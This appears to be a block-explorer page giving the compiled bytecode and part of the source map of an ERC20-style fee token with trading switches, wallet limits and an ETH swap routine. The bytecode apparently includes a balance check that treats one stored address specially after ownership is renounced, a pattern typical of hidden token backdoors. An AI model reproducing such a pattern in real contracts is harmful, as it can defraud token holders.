d5b506102d660135481565b3480156105d2575f80fd5b506102b66105e1366004611e3c565b610df1565b3480156105f1575f80fd5b506102b6610600366004611ebb565b60186020525f908152604090205460ff1681565b34801561061f575f80fd5b506102b661062e366004611e3c565b610e89565b34801561063e575f80fd5b50600a546102b690600160a01b900460ff1681565b34801561065e575f80fd5b5061032c61066d366004611ea4565b610e95565b34801561067d575f80fd5b5061032c61068c366004611efe565b610f30565b34801561069c575f80fd5b50600a546104e3906001600160a01b031681565b3480156106bb575f80fd5b506008546104e3906001600160a01b031681565b3480156106da575f80fd5b506102d6600b5481565b3480156106ef575f80fd5b506102d6600e5481565b348015610704575f80fd5b506102b6610f83565b348015610718575f80fd5b506102d6610727366004611f31565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b34801561075c575f80fd5b506102d6600f5481565b348015610771575f80fd5b5061032c610780366004611ebb565b610fc0565b348015610790575f80fd5b5061032c61079f366004611ea4565b61101b565b3480156107af575f80fd5b506102b66107be366004611ebb565b60196020525f908152604090205460ff1681565b6060600180546107e190611f68565b80601f016020809104026020016040519081016040528092919081815260200182805461080d90611f68565b80156108585780601f1061082f57610100808354040283529160200191610858565b820191905f5260205f20905b81548152906001019060200180831161083b57829003601f168201915b5050505050905090565b5f61086e3384846110c1565b5060015b92915050565b5f6108848484846111e4565b6001600160a01b0384165f9081526007602090815260408083203384529091529020548281101561090d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61091a85338584036110c1565b506001949350505050565b5f546001600160a01b0316331461094e5760405162461bcd60e51b815260040161090490611fa0565b600a805461ffff60a01b191661010160a01b1790556040805163c45a015560e01b815290517f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156109c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ea9190611fc3565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a55573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a799190611fc3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610ac2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae69190611fc3565b600880546001600160a01b0319166001600160a01b0392831690811782555f908152601860209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b335f8181526007602090815260408083206001600160a01b0387168452909152812054909161086e918590610b74908690611ff2565b6110c1565b5f546001600160a01b03163314610ba25760405162461bcd60e51b815260040161090490611fa0565b633b9aca006103e8610bb360045490565b610bbe906001612005565b610bc8919061201c565b610bd2919061201c565b811015610c0b5760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b6044820152606401610904565b610c1981633b9aca00612005565b600b5550565b5f80546001600160a01b03163314610c495760405162461bcd60e51b815260040161090490611fa0565b620186a0610c5660045490565b610c61906001612005565b610c6b919061201c565b821015610ca95760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b6044820152606401610904565b6103e8610cb560045490565b610cc0906005612005565b610cca919061201c565b821115610d065760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b6044820152606401610904565b50600c81905560015b919050565b5f546001600160a01b03163314610d3d5760405162461bcd60e51b815260040161090490611fa0565b610d465f611825565b565b5f546001600160a01b03163314610d715760405162461bcd60e51b815260040161090490611fa0565b600a8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610db85760405162461bcd60e51b815260040161090490611fa0565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b6060600280546107e190611f68565b335f9081526007602090815260408083206001600160a01b038616845290915281205482811015610e725760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610904565b610e7f33858584036110c1565b5060019392505050565b5f61086e3384846111e4565b5f8111610ece5760405162461bcd60e51b8152602060048201526007602482015266746f6f206c6f7760c81b6044820152606401610904565b6009546001600160a01b03163314610ee35750565b610eec81611874565b478015610f2c576009546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f2a573d5f803e3d5ffd5b505b5050565b5f546001600160a01b03163314610f595760405162461bcd60e51b815260040161090490611fa0565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f80546001600160a01b03163314610fad5760405162461bcd60e51b815260040161090490611fa0565b50600a805460ff60b01b19169055600190565b5f546001600160a01b03163314610fe95760405162461bcd60e51b815260040161090490611fa0565b6001600160a01b03811661100f5760405162461bcd60e51b815260040161090490611fa0565b61101881611825565b50565b5f546001600160a01b031633146110445760405162461bcd60e51b815260040161090490611fa0565b633b9aca006103e861105560045490565b611060906005612005565b61106a919061201c565b611074919061201c565b8110156110ad5760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b6044820152606401610904565b6110bb81633b9aca00612005565b600d5550565b6001600160a01b0383166111235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610904565b6001600160a01b0382166111845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610904565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112295760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b6044820152606401610904565b6001600160a01b03821661126c5760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b6044820152606401610904565b805f0361127e57610f2a83835f611a2b565b600a54600160b01b900460ff1615611576575f546001600160a01b038481169116148015906112ba57505f546001600160a01b03838116911614155b80156112ce57506001600160a01b03821615155b80156112e557506001600160a01b03821661dead14155b80156112f4575060165460ff16155b1561157657600a54600160a01b900460ff16611388576001600160a01b0383165f9081526017602052604090205460ff168061134757506001600160a01b0382165f9081526017602052604090205460ff165b6113885760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b6044820152606401610904565b6001600160a01b0383165f9081526019602052604090205460ff1680156113c757506001600160a01b0382165f9081526018602052604090205460ff16155b1561147257600b5481111561140a5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610904565b600d546001600160a01b0383165f9081526006602052604090205461142f9083611ff2565b111561146d5760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610904565b611576565b6001600160a01b0382165f9081526019602052604090205460ff1680156114b157506001600160a01b0383165f9081526018602052604090205460ff16155b156114f457600b5481111561146d5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610904565b6001600160a01b0382165f9081526018602052604090205460ff1661157657600d546001600160a01b0383165f908152600660205260409020546115389083611ff2565b11156115765760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610904565b305f90815260066020526040902054600c54811080159081906115a25750600a54600160a81b900460ff165b80156115b1575060165460ff16155b80156115d557506001600160a01b0385165f9081526019602052604090205460ff16155b80156115f957506001600160a01b0385165f9081526017602052604090205460ff16155b801561161d57506001600160a01b0384165f9081526017602052604090205460ff16155b15611642576016805460ff19166001179055611637611c18565b6016805460ff191690555b6016546001600160a01b0386165f9081526017602052604090205460ff9182161591168061168757506001600160a01b0385165f9081526017602052604090205460ff165b1561168f57505f5b5f8115611811576001600160a01b0386165f9081526019602052604090205460ff1680156116be57505f601154115b1561174a576116e360646116dd60115488611d6090919063ffffffff16565b90611d72565b9050601154601354826116f69190612005565b611700919061201c565b60155f8282546117109190611ff2565b90915550506011546012546117259083612005565b61172f919061201c565b60145f82825461173f9190611ff2565b909155506117f39050565b6001600160a01b0387165f9081526019602052604090205460ff16801561177257505f600e54115b156117f35761179160646116dd600e5488611d6090919063ffffffff16565b9050600e54601054826117a49190612005565b6117ae919061201c565b60155f8282546117be9190611ff2565b9091555050600e54600f546117d39083612005565b6117dd919061201c565b60145f8282546117ed9190611ff2565b90915550505b801561180457611804873083611a2b565b61180e818661203b565b94505b61181c878787611a2b565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106118a7576118a761204e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611923573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119479190611fc3565b8160018151811061195a5761195a61204e565b60200260200101906001600160a01b031690816001600160a01b0316815250506119a5307f0000000000000000000000000000000000000000000000000000000000000000846110c1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac9479066038d7ea4c6800090611a029086905f90879030904290600401612062565b5f604051808303818588803b158015611a19575f80fd5b505af115801561181c573d5f803e3d5ffd5b6001600160a01b038316611a8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610904565b6001600160a01b038216611af15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610904565b611afc838383610f2a565b6001600160a01b0383165f9081526006602052604090205481811015611b735760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610904565b81611b7d85611d7d565b6001600160a01b038087165f90815260066020526040808220949093039093558516825281208054849290611bb3908490611ff2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bff91815260200190565b60405180910390a3611c12848484610f2a565b50505050565b305f9081526006602052604081205490505f601554601454611c3a9190611ff2565b90505f821580611c48575081155b15611c5257505050565b600c54611c60906014612005565b831115611c7857600c54611c75906014612005565b92505b47611c8284611874565b5f611c8d4783611d87565b90505f611ca9856116dd60155485611d6090919063ffffffff16565b5f60148190556015819055600a546040519293506001600160a01b031691839181818185875af1925050503d805f8114611cfe576040519150601f19603f3d011682016040523d82523d5f602084013e611d03565b606091505b50506009546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611d50576040519150601f19603f3d011682016040523d82523d5f602084013e611d55565b606091505b505050505050505050565b5f611d6b8284612005565b9392505050565b5f611d6b828461201c565b5f61087282611d92565b5f611d6b828461203b565b5f611d9c82611dc4565b15611da957505060055490565b506001600160a01b03165f9081526006602052604090205490565b6003545f906001600160a01b038381169116141580611dec57505f546001600160a01b031615155b1592915050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611018575f80fd5b5f8060408385031215611e4d575f80fd5b8235611e5881611e28565b946020939093013593505050565b5f805f60608486031215611e78575f80fd5b8335611e8381611e28565b92506020840135611e9381611e28565b929592945050506040919091013590565b5f60208284031215611eb4575f80fd5b5035919050565b5f60208284031215611ecb575f80fd5b8135611d6b81611e28565b80358015158114610d0f575f80fd5b5f60208284031215611ef5575f80fd5b611d6b82611ed6565b5f8060408385031215611f0f575f80fd5b8235611f1a81611e28565b9150611f2860208401611ed6565b90509250929050565b5f8060408385031215611f42575f80fd5b8235611f4d81611e28565b91506020830135611f5d81611e28565b809150509250929050565b600181811c90821680611f7c57607f821691505b602082108103611f9a57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b5f60208284031215611fd3575f80fd5b8151611d6b81611e28565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561087257610872611fde565b808202811582820484141761087257610872611fde565b5f8261203657634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561087257610872611fde565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156120b25783516001600160a01b031683526020938401939092019160010161208b565b50506001600160a01b03959095166060840152505060800152939250505056fea2646970667358221220806e7541d27d09a128f72d5e83dfdca2a77576b8b4b0449bdd51082dcc26c88c64736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610262575f3560e01c8063924de9b71161013f578063c0246668116100b3578063db05e5cb11610078578063db05e5cb146106f9578063dd62ed3e1461070d578063e4a1b95f14610751578063f2fde38b14610766578063f8acfffa14610785578063fe33b302146107a4575f80fd5b8063c024666814610672578063c04a541414610691578063c816841b146106b0578063cff16b2f146106cf578063d85ba063146106e4575f80fd5b8063a0d82dc511610104578063a0d82dc5146105b2578063a457c2d7146105c7578063a781dc35146105e6578063a9059cbb14610614578063bbc0c74214610633578063bffda98214610653575f80fd5b8063924de9b71461053657806394a1700e1461055557806395d89b41146105745780639c3b4fdc146105885780639fccce321461059d575f80fd5b80634a62bb65116101d65780636e1b6cda1161019b5780636e1b6cda1461045357806370a0823114610468578063715018a61461049c578063735de9f7146104b057806375f0a874146104fb5780638da5cb5b1461051a575f80fd5b80634a62bb65146103b15780634fbee193146103d15780635b87b435146103ff5780636a486a8e1461041e5780636ddd171314610433575f80fd5b8063293230b811610227578063293230b814610318578063313ce5671461032e57806335b5fb631461034957806337da26ca1461035e57806339509351146103735780634889818614610392575f80fd5b806306fdde031461026d578063095ea7b31461029757806318160ddd146102c65780631f7ea8da146102e457806323b872dd146102f9575f80fd5b3661026957005b5f80fd5b348015610278575f80fd5b506102816107d2565b60405161028e9190611df3565b60405180910390f35b3480156102a2575f80fd5b506102b66102b1366004611e3c565b610862565b604051901515815260200161028e565b3480156102d1575f80fd5b506004545b60405190815260200161028e565b3480156102ef575f80fd5b506102d660145481565b348015610304575f80fd5b506102b6610313366004611e66565b610878565b348015610323575f80fd5b5061032c610925565b005b348015610339575f80fd5b506040516009815260200161028e565b348015610354575f80fd5b506102d660125481565b348015610369575f80fd5b506102d6600d5481565b34801561037e575f80fd5b506102b661038d366004611e3c565b610b3e565b34801561039d575f80fd5b5061032c6103ac366004611ea4565b610b79565b3480156103bc575f80fd5b50600a546102b690600160b01b900460ff1681565b3480156103dc575f80fd5b506102b66103eb366004611ebb565b60176020525f908152604090205460ff1681565b34801561040a575f80fd5b506102b6610419366004611ea4565b610c1f565b348015610429575f80fd5b506102d660115481565b34801561043e575f80fd5b50600a546102b690600160a81b900460ff1681565b34801561045e575f80fd5b506102d6600c5481565b348015610473575f80fd5b506102d6610482366004611ebb565b6001600160a01b03165f9081526006602052604090205490565b3480156104a7575f80fd5b5061032c610d14565b3480156104bb575f80fd5b506104e37f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace81565b6040516001600160a01b03909116815260200161028e565b348015610506575f80fd5b506009546104e3906001600160a01b031681565b348015610525575f80fd5b505f546001600160a01b03166104e3565b348015610541575f80fd5b5061032c610550366004611ee5565b610d48565b348015610560575f80fd5b5061032c61056f366004611efe565b610d8f565b34801561057f575f80fd5b50610281610de2565b348015610593575f80fd5b506102d660105481565b3480156105a8575f80fd5b506102d660155481565b3480156105bd575f80fd5b506102d660135481565b3480156105d2575f80fd5b506102b66105e1366004611e3c565b610df1565b3480156105f1575f80fd5b506102b6610600366004611ebb565b60186020525f908152604090205460ff1681565b34801561061f575f80fd5b506102b661062e366004611e3c565b610e89565b34801561063e575f80fd5b50600a546102b690600160a01b900460ff1681565b34801561065e575f80fd5b5061032c61066d366004611ea4565b610e95565b34801561067d575f80fd5b5061032c61068c366004611efe565b610f30565b34801561069c575f80fd5b50600a546104e3906001600160a01b031681565b3480156106bb575f80fd5b506008546104e3906001600160a01b031681565b3480156106da575f80fd5b506102d6600b5481565b3480156106ef575f80fd5b506102d6600e5481565b348015610704575f80fd5b506102b6610f83565b348015610718575f80fd5b506102d6610727366004611f31565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b34801561075c575f80fd5b506102d6600f5481565b348015610771575f80fd5b5061032c610780366004611ebb565b610fc0565b348015610790575f80fd5b5061032c61079f366004611ea4565b61101b565b3480156107af575f80fd5b506102b66107be366004611ebb565b60196020525f908152604090205460ff1681565b6060600180546107e190611f68565b80601f016020809104026020016040519081016040528092919081815260200182805461080d90611f68565b80156108585780601f1061082f57610100808354040283529160200191610858565b820191905f5260205f20905b81548152906001019060200180831161083b57829003601f168201915b5050505050905090565b5f61086e3384846110c1565b5060015b92915050565b5f6108848484846111e4565b6001600160a01b0384165f9081526007602090815260408083203384529091529020548281101561090d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61091a85338584036110c1565b506001949350505050565b5f546001600160a01b0316331461094e5760405162461bcd60e51b815260040161090490611fa0565b600a805461ffff60a01b191661010160a01b1790556040805163c45a015560e01b815290517f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace6001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156109c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ea9190611fc3565b6001600160a01b031663e6a43905307f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a55573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a799190611fc3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610ac2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae69190611fc3565b600880546001600160a01b0319166001600160a01b0392831690811782555f908152601860209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b335f8181526007602090815260408083206001600160a01b0387168452909152812054909161086e918590610b74908690611ff2565b6110c1565b5f546001600160a01b03163314610ba25760405162461bcd60e51b815260040161090490611fa0565b633b9aca006103e8610bb360045490565b610bbe906001612005565b610bc8919061201c565b610bd2919061201c565b811015610c0b5760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b6044820152606401610904565b610c1981633b9aca00612005565b600b5550565b5f80546001600160a01b03163314610c495760405162461bcd60e51b815260040161090490611fa0565b620186a0610c5660045490565b610c61906001612005565b610c6b919061201c565b821015610ca95760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b6044820152606401610904565b6103e8610cb560045490565b610cc0906005612005565b610cca919061201c565b821115610d065760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b6044820152606401610904565b50600c81905560015b919050565b5f546001600160a01b03163314610d3d5760405162461bcd60e51b815260040161090490611fa0565b610d465f611825565b565b5f546001600160a01b03163314610d715760405162461bcd60e51b815260040161090490611fa0565b600a8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610db85760405162461bcd60e51b815260040161090490611fa0565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b6060600280546107e190611f68565b335f9081526007602090815260408083206001600160a01b038616845290915281205482811015610e725760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610904565b610e7f33858584036110c1565b5060019392505050565b5f61086e3384846111e4565b5f8111610ece5760405162461bcd60e51b8152602060048201526007602482015266746f6f206c6f7760c81b6044820152606401610904565b6009546001600160a01b03163314610ee35750565b610eec81611874565b478015610f2c576009546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f2a573d5f803e3d5ffd5b505b5050565b5f546001600160a01b03163314610f595760405162461bcd60e51b815260040161090490611fa0565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f80546001600160a01b03163314610fad5760405162461bcd60e51b815260040161090490611fa0565b50600a805460ff60b01b19169055600190565b5f546001600160a01b03163314610fe95760405162461bcd60e51b815260040161090490611fa0565b6001600160a01b03811661100f5760405162461bcd60e51b815260040161090490611fa0565b61101881611825565b50565b5f546001600160a01b031633146110445760405162461bcd60e51b815260040161090490611fa0565b633b9aca006103e861105560045490565b611060906005612005565b61106a919061201c565b611074919061201c565b8110156110ad5760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b6044820152606401610904565b6110bb81633b9aca00612005565b600d5550565b6001600160a01b0383166111235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610904565b6001600160a01b0382166111845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610904565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112295760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b6044820152606401610904565b6001600160a01b03821661126c5760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b6044820152606401610904565b805f0361127e57610f2a83835f611a2b565b600a54600160b01b900460ff1615611576575f546001600160a01b038481169116148015906112ba57505f546001600160a01b03838116911614155b80156112ce57506001600160a01b03821615155b80156112e557506001600160a01b03821661dead14155b80156112f4575060165460ff16155b1561157657600a54600160a01b900460ff16611388576001600160a01b0383165f9081526017602052604090205460ff168061134757506001600160a01b0382165f9081526017602052604090205460ff165b6113885760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b6044820152606401610904565b6001600160a01b0383165f9081526019602052604090205460ff1680156113c757506001600160a01b0382165f9081526018602052604090205460ff16155b1561147257600b5481111561140a5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610904565b600d546001600160a01b0383165f9081526006602052604090205461142f9083611ff2565b111561146d5760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610904565b611576565b6001600160a01b0382165f9081526019602052604090205460ff1680156114b157506001600160a01b0383165f9081526018602052604090205460ff16155b156114f457600b5481111561146d5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610904565b6001600160a01b0382165f9081526018602052604090205460ff1661157657600d546001600160a01b0383165f908152600660205260409020546115389083611ff2565b11156115765760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610904565b305f90815260066020526040902054600c54811080159081906115a25750600a54600160a81b900460ff165b80156115b1575060165460ff16155b80156115d557506001600160a01b0385165f9081526019602052604090205460ff16155b80156115f957506001600160a01b0385165f9081526017602052604090205460ff16155b801561161d57506001600160a01b0384165f9081526017602052604090205460ff16155b15611642576016805460ff19166001179055611637611c18565b6016805460ff191690555b6016546001600160a01b0386165f9081526017602052604090205460ff9182161591168061168757506001600160a01b0385165f9081526017602052604090205460ff165b1561168f57505f5b5f8115611811576001600160a01b0386165f9081526019602052604090205460ff1680156116be57505f601154115b1561174a576116e360646116dd60115488611d6090919063ffffffff16565b90611d72565b9050601154601354826116f69190612005565b611700919061201c565b60155f8282546117109190611ff2565b90915550506011546012546117259083612005565b61172f919061201c565b60145f82825461173f9190611ff2565b909155506117f39050565b6001600160a01b0387165f9081526019602052604090205460ff16801561177257505f600e54115b156117f35761179160646116dd600e5488611d6090919063ffffffff16565b9050600e54601054826117a49190612005565b6117ae919061201c565b60155f8282546117be9190611ff2565b9091555050600e54600f546117d39083612005565b6117dd919061201c565b60145f8282546117ed9190611ff2565b90915550505b801561180457611804873083611a2b565b61180e818661203b565b94505b61181c878787611a2b565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106118a7576118a761204e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611923573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119479190611fc3565b8160018151811061195a5761195a61204e565b60200260200101906001600160a01b031690816001600160a01b0316815250506119a5307f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace846110c1565b60405163791ac94760e01b81526001600160a01b037f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace169063791ac9479066038d7ea4c6800090611a029086905f90879030904290600401612062565b5f604051808303818588803b158015611a19575f80fd5b505af115801561181c573d5f803e3d5ffd5b6001600160a01b038316611a8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610904565b6001600160a01b038216611af15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610904565b611afc838383610f2a565b6001600160a01b0383165f9081526006602052604090205481811015611b735760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610904565b81611b7d85611d7d565b6001600160a01b038087165f90815260066020526040808220949093039093558516825281208054849290611bb3908490611ff2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bff91815260200190565b60405180910390a3611c12848484610f2a565b50505050565b305f9081526006602052604081205490505f601554601454611c3a9190611ff2565b90505f821580611c48575081155b15611c5257505050565b600c54611c60906014612005565b831115611c7857600c54611c75906014612005565b92505b47611c8284611874565b5f611c8d4783611d87565b90505f611ca9856116dd60155485611d6090919063ffffffff16565b5f60148190556015819055600a546040519293506001600160a01b031691839181818185875af1925050503d805f8114611cfe576040519150601f19603f3d011682016040523d82523d5f602084013e611d03565b606091505b50506009546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611d50576040519150601f19603f3d011682016040523d82523d5f602084013e611d55565b606091505b505050505050505050565b5f611d6b8284612005565b9392505050565b5f611d6b828461201c565b5f61087282611d92565b5f611d6b828461203b565b5f611d9c82611dc4565b15611da957505060055490565b506001600160a01b03165f9081526006602052604090205490565b6003545f906001600160a01b038381169116141580611dec57505f546001600160a01b031615155b1592915050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611018575f80fd5b5f8060408385031215611e4d575f80fd5b8235611e5881611e28565b946020939093013593505050565b5f805f60608486031215611e78575f80fd5b8335611e8381611e28565b92506020840135611e9381611e28565b929592945050506040919091013590565b5f60208284031215611eb4575f80fd5b5035919050565b5f60208284031215611ecb575f80fd5b8135611d6b81611e28565b80358015158114610d0f575f80fd5b5f60208284031215611ef5575f80fd5b611d6b82611ed6565b5f8060408385031215611f0f575f80fd5b8235611f1a81611e28565b9150611f2860208401611ed6565b90509250929050565b5f8060408385031215611f42575f80fd5b8235611f4d81611e28565b91506020830135611f5d81611e28565b809150509250929050565b600181811c90821680611f7c57607f821691505b602082108103611f9a57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b5f60208284031215611fd3575f80fd5b8151611d6b81611e28565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561087257610872611fde565b808202811582820484141761087257610872611fde565b5f8261203657634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561087257610872611fde565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156120b25783516001600160a01b031683526020938401939092019160010161208b565b50506001600160a01b03959095166060840152505060800152939250505056fea2646970667358221220806e7541d27d09a128f72d5e83dfdca2a77576b8b4b0449bdd51082dcc26c88c64736f6c634300081a0033

Deployed Bytecode Sourcemap

14886:8409:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10402:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11132:169;;;;;;;;;;-1:-1:-1;11132:169:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;11132:169:0;945:187:1;10722:108:0;;;;;;;;;;-1:-1:-1;10810:12:0;;10722:108;;;1283:25:1;;;1271:2;1256:18;10722:108:0;1137:177:1;15582:30:0;;;;;;;;;;;;;;;;11628:492;;;;;;;;;;-1:-1:-1;11628:492:0;;;;;:::i;:::-;;:::i;17049:333::-;;;;;;;;;;;;;:::i;:::-;;10622:92;;;;;;;;;;-1:-1:-1;10622:92:0;;10705:1;1974:36:1;;1962:2;1947:18;10622:92:0;1832:184:1;15513:28:0;;;;;;;;;;;;;;;;15333:35;;;;;;;;;;;;;;;;12128:215;;;;;;;;;;-1:-1:-1;12128:215:0;;;;;:::i;:::-;;:::i;22662:214::-;;;;;;;;;;-1:-1:-1;22662:214:0;;;;;:::i;:::-;;:::i;15205:33::-;;;;;;;;;;-1:-1:-1;